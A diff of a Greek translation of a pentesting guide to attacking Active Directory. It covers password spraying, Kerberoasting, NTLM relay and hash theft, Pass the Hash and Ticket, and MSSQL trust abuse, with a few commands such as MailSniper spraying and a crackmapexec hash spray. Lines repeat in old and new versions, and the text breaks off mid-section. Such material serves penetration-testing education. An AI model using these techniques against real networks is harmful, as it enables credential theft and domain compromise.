Αν βρείτε έναν από αυτούς τους διακομιστές στο δίκτυο, μπορείτε επίσης να εκτελέσετε **user enumeration against it**. Για παράδειγμα, μπορείτε να χρησιμοποιήσετε το εργαλείο [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
Αν βρήκατε έναν από αυτούς τους διακομιστές στο δίκτυο, μπορείτε επίσης να εκτελέσετε **user enumeration** εναντίον του. Για παράδειγμα, μπορείτε να χρησιμοποιήσετε το εργαλείο [**MailSniper**](https://github.com/dafthack/MailSniper):
|
||||
```bash
|
||||
ipmo C:\Tools\MailSniper\MailSniper.ps1
|
||||
# Get info about the domain
|
||||
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Μπορείτε να βρείτε λίστες usernames στο [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) και σε αυτό ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Ωστόσο, θα πρέπει να έχετε τα **ονόματα των ανθρώπων που εργάζονται στην εταιρεία** από το στάδιο recon που θα έπρεπε να έχετε εκτελέσει πριν από αυτό. Με το όνομα και το επώνυμο μπορείτε να χρησιμοποιήσετε το script [**namemash.py**](https://gist.github.com/superkojiman/11076951) για να δημιουργήσετε πιθανούς έγκυρους usernames.
|
||||
> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
|
||||
|
||||
### Knowing one or several usernames
|
||||
|
||||
Ok, so you know you have already a valid username but no passwords... Then try:
|
||||
Εντάξει, γνωρίζεις ήδη έναν έγκυρο username αλλά δεν έχεις passwords... Τότε δοκίμασε:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
|
||||
- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
|
||||
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
|
||||
- [**ASREPRoast**](asreproast.md): Αν ένας user **δεν έχει** το attribute _DONT_REQ_PREAUTH_ μπορείς να **αιτηθείς ένα AS_REP message** για αυτόν τον user που θα περιέχει δεδομένα κρυπτογραφημένα με παράγωγο του password του user.
|
||||
- [**Password Spraying**](password-spraying.md): Δοκίμασε τα πιο **κοινά passwords** με κάθε έναν από τους ανακαλυφθέντες users, ίσως κάποιος χρήστης χρησιμοποιεί ένα κακό password (να θυμάσαι την password policy!).
|
||||
- Σημείωση: μπορείς επίσης να **spray OWA servers** για να προσπαθήσεις να αποκτήσεις πρόσβαση στους mail servers των users.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
Μπορεί να καταφέρετε να **αποκτήσετε** κάποια challenge **hashes** για να τα crackάρετε μέσω **poisoning** κάποιων πρωτοκόλλων του **δικτύου**:
|
||||
Μπορεί να είσαι σε θέση να **αποκτήσεις** κάποια challenge **hashes** για να τα **crack-άρεις** μέσω poisoning κάποιων πρωτοκόλλων του **δικτύου**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,11 +138,11 @@ password-spraying.md
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env.
|
||||
Αν έχεις καταφέρει να enumerate το Active Directory θα έχεις **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Ίσως να μπορείς να αναγκάσεις NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) για να αποκτήσεις πρόσβαση στο AD env.
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
|
||||
Αν μπορείς να **πρόσβασης σε άλλα PCs ή shares** με τον **null ή guest user** μπορείς να **τοποθετήσεις αρχεία** (π.χ. ένα SCF file) που αν πρόσβαμένος με κάποιο τρόπο θα **ενεργοποιήσουν μια NTLM authentication προς εσένα** ώστε να **κλέψεις** την **NTLM challenge** για να την crack-άρεις:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -151,9 +151,9 @@ If you can **access other PCs or shares** with the **null or guest user** you co
|
||||
|
||||
## Enumerating Active Directory WITH credentials/session
|
||||
|
||||
Για αυτή τη φάση χρειάζεται να έχετε **αποκτήσει τα credentials ή μια session ενός έγκυρου domain account.** Αν έχετε κάποια έγκυρα credentials ή ένα shell ως domain user, **πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμη επιλογές για να παραβιάσετε άλλους χρήστες**.
|
||||
Για αυτή τη φάση χρειάζεται να έχεις **compromised τα credentials ή μια session ενός έγκυρου domain account.** Αν έχεις κάποια έγκυρα credentials ή ένα shell ως domain user, **πρέπει να θυμάσαι ότι οι επιλογές που αναφέρθηκαν πριν παραμένουν επιλογές για να compromize-άρεις άλλους users.**
|
||||
|
||||
Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
|
||||
Πριν ξεκινήσεις το authenticated enumeration πρέπει να γνωρίζεις τι είναι το **Kerberos double hop problem.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -162,33 +162,33 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeration
|
||||
|
||||
Το να έχετε αποκτήσει έναν λογαριασμό είναι ένα **μεγάλο βήμα για να ξεκινήσετε την παραβίαση ολόκληρου του domain**, γιατί θα μπορείτε να ξεκινήσετε την **Active Directory Enumeration:**
|
||||
Το να έχεις compromized έναν account είναι ένα **μεγάλο βήμα για να αρχίσεις να compromize-άρεις ολόκληρο το domain**, γιατί θα μπορείς να ξεκινήσεις την **Active Directory Enumeration:**
|
||||
|
||||
Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
|
||||
Σε σχέση με [**ASREPRoast**](asreproast.md) τώρα μπορείς να βρεις κάθε πιθανό ευάλωτο user, και σε σχέση με [**Password Spraying**](password-spraying.md) μπορείς να πάρεις μια **λίστα με όλα τα usernames** και να δοκιμάσεις το password του compromised account, κενά passwords και νέα υποσχόμενα passwords.
|
||||
|
||||
- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
|
||||
- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
|
||||
- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
|
||||
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
|
||||
- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
|
||||
- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
|
||||
- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- You could also try automated tools as:
|
||||
- Μπορείς να χρησιμοποιήσεις την [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Μπορείς επίσης να χρησιμοποιήσεις [**powershell for recon**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο stealthy
|
||||
- Μπορείς επίσης να [**use powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξάγεις πιο λεπτομερείς πληροφορίες
|
||||
- Ένα ακόμα καταπληκτικό εργαλείο για recon σε Active Directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ stealthy** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείς), αλλά **αν δεν σε νοιάζει** αξίζει σίγουρα μια δοκιμή. Βρες που users μπορούν RDP, βρες paths προς άλλες groups, κ.λπ.
|
||||
- **Άλλα αυτοματοποιημένα εργαλεία AD enumeration είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS records of the AD**](ad-dns-records.md) καθώς μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
|
||||
- Ένα **GUI εργαλείο** που μπορείς να χρησιμοποιήσεις για να enumerate-άρεις τον directory είναι **AdExplorer.exe** από το **SysInternal** Suite.
|
||||
- Μπορείς επίσης να αναζητήσεις στη βάση LDAP με **ldapsearch** για credentials σε fields _userPassword_ & _unixUserPassword_, ή ακόμα και για _Description_. βλ. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) για άλλες μεθόδους.
|
||||
- Αν χρησιμοποιείς **Linux**, μπορείς επίσης να enumerate-άρεις το domain χρησιμοποιώντας [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Μπορείς επίσης να δοκιμάσεις αυτοματοποιημένα εργαλεία όπως:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Extracting all domain users**
|
||||
|
||||
It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
Είναι πολύ εύκολο να πάρεις όλα τα domain usernames από Windows (`net user /domain` ,`Get-DomainUser` ή `wmic useraccount get name,sid`). Σε Linux, μπορείς να χρησιμοποιήσεις: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
|
||||
> Ακόμη και αν αυτή η ενότητα Enumeration φαίνεται μικρή, είναι το πιο σημαντικό κομμάτι από όλα. Μπες στους συνδέσμους (κυρίως αυτούς της cmd, powershell, powerview και BloodHound), μάθε πώς να enumerate-άρεις ένα domain και κάνε πρακτική μέχρι να νιώσεις άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η καθοριστική στιγμή για να βρεις το δρόμο προς DA ή για να αποφασίσεις ότι δεν μπορεί να γίνει τίποτα.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting περιλαμβάνει την απόκτηση **TGS tickets** που χρησιμοποιούνται από services δεμένα σε user accounts και το cracking της κρυπτογράφησής τους — η οποία βασίζεται σε user passwords — **offline**.
|
||||
Kerberoasting περιλαμβάνει την απόκτηση **TGS tickets** που χρησιμοποιούνται από services δεμένα με user accounts και τη ραγίση (cracking) της κρυπτογράφησής τους — η οποία βασίζεται σε user passwords — **offline**.
|
||||
|
||||
More about this in:
|
||||
Περισσότερα γι' αυτό εδώ:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -197,17 +197,17 @@ kerberoast.md
|
||||
|
||||
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
Μόλις έχετε αποκτήσει κάποια credentials μπορείτε να ελέγξετε αν έχετε πρόσβαση σε κάποια **machine**. Για αυτό το λόγο μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να επιχειρήσετε σύνδεση σε πολλούς servers με διαφορετικά πρωτόκολλα, σύμφωνα με τις port scans σας.
|
||||
Μόλις έχεις αποκτήσει κάποια credentials μπορείς να ελέγξεις αν έχεις πρόσβαση σε κάποια **μηχανή**. Για αυτό μπορείς να χρησιμοποιήσεις το **CrackMapExec** για να προσπαθήσεις σύνδεση σε πολλούς servers με διάφορα πρωτόκολλα, σύμφωνα με τα port scans σου.
|
||||
|
||||
### Local Privilege Escalation
|
||||
|
||||
If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
|
||||
Αν έχεις compromized credentials ή μια session ως κανονικός domain user και έχεις **πρόσβαση** με αυτόν τον user σε **οποιαδήποτε μηχανή στο domain**, πρέπει να προσπαθήσεις να βρεις τρόπο να **ανεβάσεις privileges τοπικά και να loot-άρεις για credentials**. Αυτό γιατί μόνο με local administrator privileges θα μπορέσεις να **dump-άς hashes άλλων users** στη μνήμη (LSASS) και τοπικά (SAM).
|
||||
|
||||
There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο για [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) και ένα [**checklist**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσεις να χρησιμοποιήσεις [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Current Session Tickets
|
||||
|
||||
Είναι πολύ **απίθανο** να βρείτε **tickets** στον τρέχοντα χρήστη που να σας δίνουν άδεια για πρόσβαση σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε:
|
||||
Είναι πολύ **ασυνήθιστο** να βρεις **tickets** στον τρέχοντα user που να σου δίνουν άδεια για πρόσβαση σε απρόσμενους πόρους, αλλά μπορείς να ελέγξεις:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -217,17 +217,18 @@ There is a complete page in this book about [**local privilege escalation in Win
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
Αν καταφέρετε να enumerate το Active Directory θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Ίσως να καταφέρετε να αναγκάσετε NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Αν καταφέρεις να εντοπίσεις το Active Directory θα έχεις **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να καταφέρεις να αναγκάσεις NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### Looks for Creds in Computer Shares | SMB Shares
|
||||
### Αναζήτηση Creds σε Computer Shares | SMB Shares
|
||||
|
||||
Τώρα που έχετε κάποια βασικά διαπιστευτήρια θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε χειροκίνητα αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και ακόμα περισσότερο αν βρείτε εκατοντάδες docs που πρέπει να ελέγξετε).
|
||||
Τώρα που έχεις μερικές βασικές credentials πρέπει να ελέγξεις αν μπορείς να **βρεις** οποιαδήποτε **ενδιαφέροντα αρχεία που κοινοποιούνται μέσα στο AD**. Μπορείς να το κάνεις χειροκίνητα αλλά είναι μια πολύ βαρετή και επαναλαμβανόμενη εργασία (και περισσότερο αν βρεις εκατοντάδες docs που πρέπει να ελέγξεις).
|
||||
|
||||
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε για τα εργαλεία που μπορείτε να χρησιμοποιήσετε.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
[**Ακολούθησε αυτό το σύνδεσμο για να μάθεις για τα εργαλεία που μπορείς να χρησιμοποιήσεις.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
Αν μπορείτε να **έχετε access σε άλλους PCs ή shares** μπορείτε να **τοποθετήσετε αρχεία** (π.χ. ένα SCF file) που αν κάποιος τα ανοίξει θα **προκαλέσουν μια NTLM authentication εναντίον σας**, ώστε να μπορείτε να **κλέψετε** το **NTLM challenge** για να το crackάρετε:
|
||||
Αν μπορείς να **έχεις πρόσβαση σε άλλους PCs ή shares** μπορείς να **τοποθετήσεις αρχεία** (π.χ. ένα SCF file) που αν ανοιχτούν θα **προκαλέσουν ένα NTLM authentication εναντίον σου**, ώστε να μπορείς να **κλέψεις** το **NTLM challenge** για να το crackάρεις:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -235,32 +236,32 @@ There is a complete page in this book about [**local privilege escalation in Win
|
||||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
Αυτή η ευπάθεια επέτρεπε σε οποιονδήποτε επαληθευμένο χρήστη να **παραβιάσει τον domain controller**.
|
||||
Αυτή η ευπάθεια επέτρεπε σε οποιονδήποτε authenticated χρήστη να **αναλάβει τον έλεγχο του domain controller**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege escalation on Active Directory WITH privileged credentials/session
|
||||
## Ανάβαθμιση προνομίων στο Active Directory ΜΕ privileged credentials/session
|
||||
|
||||
**Για τις παρακάτω τεχνικές ένας κανονικός domain user δεν αρκεί, χρειάζεστε κάποια ειδικά προνόμια/διαπιστευτήρια για να πραγματοποιήσετε αυτές τις επιθέσεις.**
|
||||
**Για τις παρακάτω τεχνικές ένας απλός domain χρήστης δεν αρκεί — χρειάζεσαι ειδικά privileges/credentials για να εκτελέσεις αυτές τις επιθέσεις.**
|
||||
|
||||
### Hash extraction
|
||||
|
||||
Ελπίζουμε να καταφέρατε να **παραβιάσετε κάποιον local admin** account χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένου relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Στη συνέχεια, είναι καιρός να dumpάρετε όλα τα hashes από τη μνήμη και τοπικά.\
|
||||
[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
Ελπίζουμε να κατάφερες να **παραβιάσεις κάποιο local admin** account χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (συμπεριλαμβανομένου relaying), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).
|
||||
Στη συνέχεια, ήρθε η ώρα να κάνεις dump όλα τα hashes από τη μνήμη και τοπικά.
|
||||
[**Διάβασε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Μόλις έχετε το hash ενός χρήστη**, μπορείτε να το χρησιμοποιήσετε για να τον impersonate.\
|
||||
Πρέπει να χρησιμοποιήσετε κάποιο εργαλείο που θα εκτελέσει την NTLM authentication χρησιμοποιώντας αυτό το hash, **ή** μπορείτε να δημιουργήσετε ένα νέο **sessionlogon** και να **injectάρετε** αυτό το **hash** μέσα στο **LSASS**, ώστε όταν γίνει οποιαδήποτε **NTLM authentication**, να χρησιμοποιηθεί αυτό το **hash.** Η τελευταία επιλογή είναι αυτή που κάνει το mimikatz.\
|
||||
[**Διαβάστε αυτή τη σελίδα για περισσότερες πληροφορίες.**](../ntlm/index.html#pass-the-hash)
|
||||
**Μόλις έχεις το hash ενός χρήστη**, μπορείς να το χρησιμοποιήσεις για να **υποδυθείς** αυτόν.
|
||||
Πρέπει να χρησιμοποιήσεις κάποιο **tool** που θα **εκτελέσει** την **NTLM authentication χρησιμοποιώντας** εκείνο το **hash**, **ή** μπορείς να δημιουργήσεις ένα νέο **sessionlogon** και να **εγχύσεις** εκείνο το **hash** μέσα στο **LSASS**, έτσι ώστε όταν πραγματοποιηθεί οποιαδήποτε **NTLM authentication**, εκείνο το **hash θα χρησιμοποιηθεί.** Η τελευταία επιλογή είναι αυτό που κάνει το mimikatz.
|
||||
[**Διάβασε αυτή τη σελίδα για περισσότερες πληροφορίες.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Αυτή η επίθεση στοχεύει να χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets, ως εναλλακτική στο κοινό Pass The Hash πάνω από το NTLM πρωτόκολλο. Επομένως, αυτό μπορεί να είναι ιδιαίτερα χρήσιμο σε δίκτυα όπου το NTLM πρωτόκολλο είναι απενεργοποιημένο και επιτρέπεται μόνο το Kerberos ως πρωτόκολλο authentication.
|
||||
Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το user NTLM hash για να ζητήσει Kerberos tickets**, ως εναλλακτική στην κοινή Pass The Hash μέσω NTLM πρωτοκόλλου. Επομένως, αυτό μπορεί να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το NTLM protocol είναι απενεργοποιημένο** και επιτρέπεται μόνο **Kerberos** ως πρωτόκολλο authentication.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -269,7 +270,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
Στην μέθοδο επίθεσης Pass The Ticket (PTT), οι επιτιθέμενοι κλέβουν το authentication ticket ενός χρήστη αντί για τον κωδικό ή τις τιμές hash του. Το κλεμμένο ticket στη συνέχεια χρησιμοποιείται για να impersonate τον χρήστη, αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε πόρους και υπηρεσίες εντός ενός δικτύου.
|
||||
Στη μέθοδο επίθεσης **Pass The Ticket (PTT)**, οι επιτιθέμενοι **κλέβουν το authentication ticket ενός χρήστη** αντί για τον κωδικό ή τις τιμές hash. Το κλεμμένο ticket χρησιμοποιείται στη συνέχεια για να **υποδυθούν τον χρήστη**, αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε πόρους και υπηρεσίες μέσα σε ένα δίκτυο.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -278,20 +279,20 @@ pass-the-ticket.md
|
||||
|
||||
### Credentials Reuse
|
||||
|
||||
Εάν έχετε το hash ή τον password ενός local administrator θα πρέπει να προσπαθήσετε να κάνετε τοπικό login σε άλλους PCs με αυτό.
|
||||
Αν έχεις το **hash** ή το **password** ενός **local administrator** πρέπει να δοκιμάσεις να **συνδεθείς τοπικά** σε άλλους **PCs** με αυτό.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι αυτό είναι αρκετά **θορυβώδες** και το **LAPS** θα το **ελάττωνε**.
|
||||
> Σημειώστε ότι αυτό είναι αρκετά **θορυβώδες** και το **LAPS** θα το **μετριάσει**.
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Εάν ένας χρήστης έχει προνόμια για **access MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη να πραγματοποιήσει επίθεση **relay**.\
|
||||
Επιπλέον, αν ένα MSSQL instance είναι trusted (database link) από ένα διαφορετικό MSSQL instance και ο χρήστης έχει προνόμια πάνω στην trusted βάση, θα μπορεί να **χρησιμοποιήσει τη trust relationship για να εκτελέσει queries και στην άλλη instance**. Αυτές οι trusts μπορούν να αλυσιδωθούν και σε κάποιο σημείο ο χρήστης μπορεί να βρει μια λανθασμένα ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
|
||||
**Οι συνδέσεις μεταξύ βάσεων δεδομένων λειτουργούν ακόμα και μέσω forest trusts.**
|
||||
Αν ένας χρήστης έχει προνόμια να **προσπελάσει MSSQL instances**, θα μπορούσε να τα χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμα και να πραγματοποιήσει μια **relay** **επίθεση**.\
|
||||
Επίσης, αν μια MSSQL instance είναι trusted (database link) από μια διαφορετική MSSQL instance και ο χρήστης έχει προνόμια πάνω στην trusted βάση, θα μπορεί να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσοδεθούν και σε κάποιο σημείο ο χρήστης μπορεί να βρει μια λανθασμένα ρυθμισμένη βάση όπου μπορεί να εκτελέσει εντολές.\
|
||||
**Οι σύνδεσμοι μεταξύ βάσεων δεδομένων λειτουργούν ακόμη και μέσω forest trusts.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -300,7 +301,7 @@ abusing-ad-mssql.md
|
||||
|
||||
### IT asset/deployment platforms abuse
|
||||
|
||||
Τρίτα εργαλεία inventory και deployment συχνά αποκαλύπτουν ισχυρά μονοπάτια προς credentials και εκτέλεση κώδικα. Δείτε:
|
||||
Third-party inventory and deployment suites συχνά εκθέτουν ισχυρά μονοπάτια προς credentials και code execution. Δείτε:
|
||||
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
@ -312,9 +313,9 @@ lansweeper-security.md
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
Εάν βρείτε κάποιο Computer object με το attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) και έχετε domain privileges στον υπολογιστή, θα μπορείτε να εξάγετε TGTs από τη μνήμη κάθε χρήστη που κάνει login στον υπολογιστή.\
|
||||
Έτσι, εάν ένας **Domain Admin** κάνει login στον υπολογιστή, θα μπορείτε να εξάγετε το TGT του και να τον impersonate χρησιμοποιώντας [Pass the Ticket](pass-the-ticket.md).\
|
||||
Χάρη στο constrained delegation μπορείτε ακόμα να **compromise έναν Print Server** (ελπίζουμε να είναι DC).
|
||||
Αν βρείτε κάποιο Computer object με το attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) και έχετε domain προνόμια στον υπολογιστή, θα μπορείτε να dumpάρετε TGTs από τη μνήμη κάθε χρήστη που κάνει login στον υπολογιστή.\
|
||||
Έτσι, αν ένας **Domain Admin κάνει login στον υπολογιστή**, θα μπορείτε να dumpάρετε το TGT του και να τον impersonate χρησιμοποιώντας [Pass the Ticket](pass-the-ticket.md).\
|
||||
Χάρη στο constrained delegation θα μπορούσατε ακόμη και **αυτόματα να συμβιβάσετε έναν Print Server** (ελπίζοντας να είναι DC).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -323,8 +324,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
Εάν ένας χρήστης ή υπολογιστής έχει ενεργοποιημένο το "Constrained Delegation", θα μπορεί να **impersonate οποιονδήποτε χρήστη για να προσπελάσει ορισμένες υπηρεσίες σε έναν υπολογιστή**.\
|
||||
